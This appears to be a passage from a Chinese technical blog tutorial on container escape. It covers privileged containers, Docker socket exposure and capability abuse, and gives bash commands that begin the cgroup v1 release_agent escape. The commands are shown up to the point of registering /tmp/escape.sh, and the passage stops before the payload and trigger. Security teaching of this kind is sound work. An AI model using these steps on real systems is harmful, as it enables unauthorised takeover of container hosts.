欢迎访问 内存溢出 —— 独立后端与系统工程技术博客

专注于分布式系统、Linux内核、数据库存储与后端工程实践

容器逃逸实战:runc 漏洞与特权容器 Capabilities 滥用

发表于:|最后更新:|分类:云原生安全|阅读:5932 次

当容器以 --privileged 或挂载了 /var/run/docker.sock 时,攻击者可从容器内部直接操控宿主机运行时,实现完整的逃逸链路。

容器逃逸路径

一、检测危险 Capabilities 配置

bash
# 查看当前容器持有的 capabilities
capsh --print

# 若存在 CAP_SYS_ADMIN 且挂载了 cgroup v1,可尝试 release_agent 逃逸
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
echo "/tmp/escape.sh" > /tmp/cgrp/release_agent